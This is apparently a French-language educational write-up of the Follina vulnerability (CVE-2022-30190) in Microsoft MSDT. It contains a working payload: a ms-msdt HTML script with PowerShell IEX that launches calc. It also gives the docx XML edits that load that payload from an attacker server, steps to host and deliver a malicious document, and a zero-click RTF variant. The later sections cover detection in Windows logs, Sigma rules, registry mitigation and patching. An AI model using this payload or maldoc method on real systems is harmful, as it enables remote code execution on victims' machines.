muhammad-ali007/follina_msdt_cve-2022-30190Exploit éducatif pour CVE-2022-30190 (Follina) démontrant l'exécution de code à distance MSDT via des documents Office malveillants, avec des conseils de détection et d'atténuation.
Microsoft explique qu'« une vulnérabilité d'exécution de code à distance existe lorsque MSDT est appelé via le protocole URL depuis une application appelante telle que Word. Un attaquant qui exploite avec succès cette vulnérabilité peut exécuter du code arbitraire avec les privilèges de l'application appelante. L'attaquant peut alors installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dans le contexte autorisé par les droits de l'utilisateur ». (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft indique que « l'outil de diagnostic du support Microsoft (MSDT) collecte des informations à envoyer au support Microsoft. Ceux-ci analyseront ensuite ces informations et les utiliseront pour déterminer la résolution des éventuels problèmes que vous pourriez rencontrer sur votre ordinateur ». Dans cette optique, c'est essentiellement un moyen pour le support Microsoft de voir immédiatement ce qui ne va pas, puisqu'ils obtiennent toutes les informations nécessaires directement à la source.
Explication de l'exploit
Commençons par une mise en garde : pour nos besoins, nous chargerons notre payload via un document Word, en particulier au format .docx – c'est l'exploit original qui a été découvert dans la nature. Cependant, cette vulnérabilité s'est avérée fonctionner sur un certain nombre d'autres produits Office.
Deux aspects importants de cette vulnérabilité sont : 1 - Les fichiers docx spécifiques contiennent des références d'objets OLE (à l'origine, acronyme de Object Linking and Embedding), et parfois, ils prennent la forme de fichiers HTML hébergés ailleurs. 2 - MS-MSDT permet l'exécution de code.
En combinant les deux aspects ci-dessus, un schéma HTML MS-MSDT peut être utilisé pour exécuter du code PowerShell, et un fichier docx peut être utilisé pour le charger via la capacité de référence externe de Word.
Plus précisément, en creusant dans la structure du docx, le fichier "word/_rels/document.xml.rels" contient une balise XML avec un attribut Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" qui décrit une référence oleObject externe. Pour exploiter cette fonctionnalité du docx, nous pouvons modifier le contenu de cette balise pour pointer vers le payload que nous hébergeons, en changeant la valeur Target en http://<external_payload_server.com>/<payload.html> et la valeur TargetMode en "External".
Dans le fichier word/document.xml, il y a une balise XML qui commence par <o:OLEObject...> dans laquelle nous devons modifier la valeur Type en "Link" puis ajouter la paire clé-valeur UpdateMode="OnCall".
Il ne reste plus qu'à héberger le payload auquel le fichier Word se connectera et dont il recevra les instructions lors de l'ouverture du fichier. Cela se fait en créant un fichier HTML avec une structure similaire à celle-ci :
<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA doit être répété >60 fois
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Dans le contenu ci-dessus du fichier HTML, vous remarquerez la commande ms-msdt:/id PCWDiagnostic /skip force /param, ainsi que les commutateurs de commande que vous pouvez utiliser pour définir la commande que vous souhaitez exécuter sur la machine cible. Vous pouvez ensuite mélanger et assortir le payload selon vos besoins.
Ainsi, nous avons maintenant un moyen de réaliser une exécution de code à distance sans toucher aux macros, et, comme nous le verrons plus tard, sans même ouvrir le document malveillant.
Focus sur l'exploit disponible publiquement (https://github.com/JohnHammond/msdt-follina) John Hammond a créé un outil pour automatiser le processus de création d'un document malveillant (maldoc) et, par conséquent, héberger le fichier HTML malveillant qui contient la commande dangereuse. L'outil est documenté dans le lien ci-dessus, et nous utiliserons une version forké de celui-ci pour mieux comprendre le concept de l'exploit abordé précédemment.
Ouvrez un terminal, clonez ce dépôt et placez-vous dans le répertoire de travail où le dépôt msdt-follina a été cloné.
root@host:~/Follina-MSDT# python3 follina.py
En lançant l'exploit, vous devriez déjà héberger le fichier, il est donc prêt à être « livré » à la machine victime. Tout en gardant le terminal d'origine ouvert, ouvrez un autre terminal et entrez la commande suivante pour héberger les fichiers sur un serveur :
root@host:~/Follina-MSDT# python -m http.server 3456
Sur la machine cible, ouvrez une invite de commandes et entrez la commande suivante :
C:\Users\user> cd Desktop
C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
Cela télécharge le maldoc sur notre machine et, peu après, vous devriez voir le fichier Word nommé follina.docx apparaître sur le Bureau, prêt à être exécuté. Lorsque vous êtes prêt, ouvrez le fichier et observez ce qui se passe. Pour l'instant, laissons le maldoc et tout ce qu'il a engendré en cours d'exécution.
Implémentation « Zero Click »
Afin de reproduire l'implémentation « zero click » de cette vulnérabilité, il suffit de se rendre dans le fichier Word malveillant, d'ajouter un message sympathique (totalement optionnel), de l'enregistrer au format RTF (Rich Text Format), et le tour est joué. Cette implémentation suppose que la machine victime est en mode d'aperçu du volet de navigation ; sinon, elle reviendra à la fonctionnalité d'origine qui s'exécutera toujours lors de l'ouverture du fichier.
Ouvrez l'explorateur de fichiers et accédez au dossier Bureau. Vous y verrez le fichier apparemment honnête que nous avons créé et qui nécessite un clic ; cliquez dessus une fois en prenant soin de ne pas l'ouvrir réellement, et observez ce qui se passe.
Bien que le fichier n'ait pas été ouvert, l'exploit s'est exécuté de la même manière que précédemment dans cet exercice. Cela s'est produit grâce à deux fonctionnalités clés : 1 - La fonctionnalité de l'Explorateur de fichiers permettant de prévisualiser les fichiers avant de les ouvrir. 2 - Le RTF, qui permet aux fichiers de documents d'être prévisualisés dans l'Explorateur de fichiers avant d'être ouverts (entre autres usages).
La combinaison des deux, puis leur abus, aboutit à un vecteur d'attaque que nous venons de constater.
Détection et Atténuation Chasse aux menaces :
La machine Windows que nous avons utilisée pour étudier l'exploitation de la vulnérabilité a été préconfigurée avec la journalisation activée pour :
Ces mécanismes d'audit ne sont pas configurés par défaut ; il est donc impératif de les activer dans vos propres environnements pour faciliter la détection des comportements suspects et pour conserver des données précieuses pour les enquêteurs judiciaires.
Au cours du processus précédent, nous avons identifié un certain nombre de créations de processus intéressantes lors de l'exploitation de la vulnérabilité. Ces créations de processus sont enregistrées dans les journaux de sécurité Windows, prêtes à être analysées via votre visualiseur préféré, ou transférées vers un collecteur de journaux centralisé pour être traitées puis utilisées ultérieurement.
Pour cette tâche, nous utiliserons Event Log Viewer pour Windows de Nirsoft pour examiner les créations de processus que nous avons identifiées précédemment. Nous rechercherons ensuite des détails dans ces créations de processus que nous pourrons utiliser pour trouver des indices dans d'autres journaux d'événements afin de mieux expliquer ce qui s'est passé en arrière-plan.
Ouvrez FullEventLogView. Allez dans View > Use Quick Filter. Une barre de recherche devrait apparaître en haut des journaux, ce qui nous permettra d'effectuer des recherches rapides. Comme nous voulions vérifier les détails de nos créations de processus, nous pouvons cliquer sur le menu déroulant le plus à gauche et choisir Find Event ID (space/comma...), puis taper 4688 dans la barre de recherche fournie.
L'écran devrait se remplir d'événements de création de processus, et vous remarquerez immédiatement qu'il y en a énormément, malgré une interaction minimale avec la machine.
Le premier artefact que nous allons vérifier est winword.exe – comprendre le flux des événements à partir de ce processus nous donne une idée de la manière dont un processus Office, en général, se comporte dans le contexte d'une exploitation msdt. Appuyez sur Ctrl+F pour ouvrir une fonction de recherche et tapez winword.
La première entrée que vous verrez probablement est celle où WINWORD.EXE est le nouveau processus créé, identifié par le détail : New Process Name. Ce processus marque l'ouverture du fichier follina.docx, via le détail : Process Command Line. Il est tout à fait normal qu'il ne soit pas exactement identique. Cliquez sur le bouton Find Next jusqu'à trouver une entrée qui ressemble à une longue commande « ms-msdt » (powershell).
Ici, nous verrons que WINWORD.EXE est le processus créateur, plus communément appelé processus parent de msdt.exe. Remarquez la longue ligne de commande contenant plusieurs cmdlets PowerShell (prononcez command-lets) ainsi que plusieurs traversées de répertoires. Voir cela, seul, dans votre environnement devrait immédiatement faire sonner l'alarme. Un élément précieux que nous pouvons examiner de près ici est la chaîne Y2FsYw== qui, une fois décodée, donnerait la chaîne calc.
Puisque nous avons vu des cmdlets PowerShell, il serait logique de filtrer les événements PowerShell pour vérifier cette piste. Comme il existe de nombreux ID d'événements uniques qui enregistrent les événements PowerShell, nous pouvons filtrer par fournisseur (Provider). Allez dans Options > Advanced Options. Cliquez sur le deuxième menu déroulant et sélectionnez Show only the specific providers (comma-delimited...). Tapez PowerShell encadré de caractères génériques (*) afin que tous les fournisseurs liés à PowerShell soient inclus.
Videz la boîte « Quick Filter » du 4688 que nous avons entré précédemment, et l'écran devrait se remplir d'événements provenant exclusivement des fournisseurs PowerShell. À partir de là, nous pouvons filtrer les événements via une partie de la commande PowerShell notée ci-dessus.
En arrivant à cet événement, nous pouvons fermer la fonction de recherche et suivre la trace du texte du Scriptblock ; vous pouvez naviguer vers l'événement suivant en appuyant sur la touche Bas de votre clavier, ou en cliquant manuellement sur l'événement. L'exploration des événements immédiats qui suivent ce texte de script bloc montrera l'exécution pas à pas de calc du point de vue de PowerShell.
Disponibilité de la règle Sigma : Matthew Brennan, ingénieur en détection chez Huntress, a créé une règle Sigma pour détecter les exécutions suspectes de MSDT dans l'environnement, et le meilleur, c'est qu'elle est constamment mise à jour à chaque fois que la communauté repère quelque chose de nouveau.
La règle Sigma se trouve ici (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) est un outil pratique qui aide à convertir les règles Sigma en requêtes pouvant être immédiatement utilisées dans un SIEM de votre choix.
Pour rechercher les exploits MSDT dans l'environnement, vous pouvez utiliser la règle Sigma comme mécanisme de détection pour :
MSDT utilise également un autre binaire (https://twitter.com/KyleHanslovan/status/1531114931973767168) pour canaliser les exécutions, de sorte que les processus enfants suspects ayant celui-ci comme parent doivent être notés et faire l'objet d'une enquête plus approfondie. L'information « caviardée » ci-dessus est une réponse à une question de la tâche précédente – vérifiez à vos risques et périls.
Pour en savoir plus : Détection de Follina : vulnérabilité zero-day d'exécution de code à distance dans Microsoft Office (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
Antivirus / Windows Defender : Un certain nombre de produits Microsoft Defender disposent de mécanismes de détection en place, et notre fiable Microsoft Security Response Center (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) nous fournit une liste de ceux-ci.
Remédiation
Le correctif de cette vulnérabilité se trouve dans les mises à jour cumulatives Windows de juin 2022. Il est impératif que les utilisateurs installent ces mises à jour pour être protégés contre la vulnérabilité. Vous pouvez le faire manuellement de temps en temps, ce qui n'est pas très efficace et peut être oublié, ou vous pouvez opter pour l'automatisation de la vérification et de l'installation des mises à jour.
Désactiver le protocole MSDT URL : Avant que le correctif ne soit introduit, les équipes de sécurité ont demandé aux administrateurs informatiques de leur organisation de désactiver immédiatement le protocole MSDT URL. En désactivant le protocole MSDT URL, les outils de résolution des problèmes ne seront pas lancés sous forme de liens, et donc ms-msdt ne pourra pas être appelé par Office. Pour désactiver le protocole, exécutez d'abord une invite de commandes en tant qu'administrateur
C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt
C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup
C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f
C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
À ce stade, vous avez dû remarquer que nous changeons toujours notre répertoire de travail vers le Bureau – c'est pour pouvoir voir immédiatement les changements que nos commandes introduisent dans l'environnement : la création de fichiers est assez visible. Ce n'est en aucun cas la meilleure pratique à suivre dans un environnement quelconque.
La première commande reg query que nous avons introduite est une vérification rapide que la clé existe. Elle est suivie de reg export qui exporte notre clé dans un fichier afin que nous puissions la réintégrer dans notre système plus tard lorsque Microsoft proposera un correctif plus permanent à cette vulnérabilité. Le fichier exporté est sauvegardé dans le répertoire de travail actuel – dans notre cas, le Bureau. La commande reg delete est la commande qui désactive réellement le protocole MSDT URL, principalement parce qu'elle le supprime complètement du système. La dernière commande reg query est une vérification de confirmation que la clé n'existe plus.
Après avoir désactivé le protocole MSDT URL sur notre machine Windows, essayons de déclencher à nouveau l'exploit et voyons comment cela impacte la machine. C'est un bon moyen de vérifier si nos contrôles seraient capables de détecter les attaques, qu'elles soient réussies ou non.
Réduction de la surface d'attaque (ASR) : Si vous utilisez Microsoft Defender for Endpoint dans votre environnement, activez la règle ASR Bloquer toutes les applications Office dans la création de processus enfants. La création de processus enfants à partir de services qui ne devraient pas le faire est un thème courant parmi les logiciels malveillants. Pour en savoir plus : (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Enfin, quelques processus de remédiation à la fois simples et facilement déployables ont été la méthode choisie pour conclure ce sujet. Microsoft a déjà publié un correctif qui bloque l'injection PowerShell, neutralisant ainsi ce vecteur d'attaque.